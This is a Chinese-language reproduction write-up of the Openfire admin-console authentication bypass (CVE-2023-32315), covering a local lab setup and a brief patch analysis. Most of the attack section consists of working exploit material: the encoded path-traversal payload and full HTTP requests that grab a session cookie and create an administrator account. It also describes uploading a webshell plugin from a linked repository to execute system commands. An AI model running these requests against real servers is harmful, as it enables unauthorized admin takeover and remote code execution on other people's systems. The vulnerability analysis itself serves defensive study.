简介
Openfire是一个基于XMPP协议的即时通讯服务器,也称之为即时通讯平台。在即时通讯中往往因为需要保存一些状态或者数据所以不能采用点对点通讯,而是需要搭建服务器来转发。Openfire的管理页面包含5个菜单选项,分别是服务器基本信息配置选项、用户组管理选项、会话管理选项、分组聊天选项和插件选项。
影响版本
3.10.0
\<= Openfire \<4.6.8
4.7.0
\<=Openfire \<4.7.5
Openfire搭建
下载地址
https://github.com/igniterealtime/Openfire/releases/download/v4.7.3/openfire_4_7_3_x64.exe
本地安装好jdk,windwos版本直接安装
下一步到最后完成安装
启动服务端
访问
http://localhost:9090
为了复现没必要安装外联数据库
安装完成后,管理界面
http://localhost:9090/login.jsp
漏洞复现
payload:
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
第一步构造‘poc
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp HTTP/1.1
Host: 192.168.0.105:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:9090/user-summary.jsp
Connection: close
Upgrade-Insecure-Requests: 1
获取到cookie,第二步构造用户
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=eLn7fgybS8C4SNC&username=aaadmin&name=aaadmin&email=&password=1qaz2wsx&passwordConfirm=1qaz2wsx&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 192.168.0.105:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:9090/user-summary.jsp
Connection: close
Cookie: JSESSIONID=node0xglgmlc1v8s71iojn4ob0crsb9.node0; csrf=eLn7fgybS8C4SNC
Upgrade-Insecure-Requests: 1
使用aaadmin/1qaz2wsx
登录
且在poc中设置用户为管理员用户
当然这里利用网上师傅写好的go工具可一键利用,这中利用产生点跟通达OA
的老洞
类似。
RCE
根据目前已经披露的利用方法分为两步,这里的RCE是在属于后渗透的利用,根据创建的用户利用插件功能上传webshell
插件下载地址
https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1
插件上传成功
这里密码为123
,进入服务器-》服务器设置-》shellplugin
,输入密码
通过该jar包实现RCE
可对文件操作,执行系统命令
漏洞分析
这里对比一下4.7.5
版本和4.7.4
版本的区别
从未授权的位置看xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java
代码中对于身份权限增加了校验
在配置文件xmppserver/src/main/webapp/WEB-INF/web.xml
中
查看到对excludes的值的定义,payload的的构造是满足158行的内容
当构造../../
的时候是满足159行的if条件,但是在payload中对该内容做了utf8的编码,所以绕过了161行的if判断,导致了未授权的产生,使之能够绕过权限校验。
所以在4.7.5
的版本中也增加对utf8的解码
参考链接
https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass